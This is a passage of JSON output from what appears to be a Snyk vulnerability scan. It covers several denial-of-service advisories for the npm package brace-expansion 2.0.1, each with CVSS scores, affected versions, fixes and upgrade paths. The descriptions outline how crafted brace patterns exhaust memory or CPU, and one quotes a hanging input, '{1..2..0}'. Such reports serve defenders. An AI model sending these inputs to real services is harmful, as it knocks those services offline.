"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
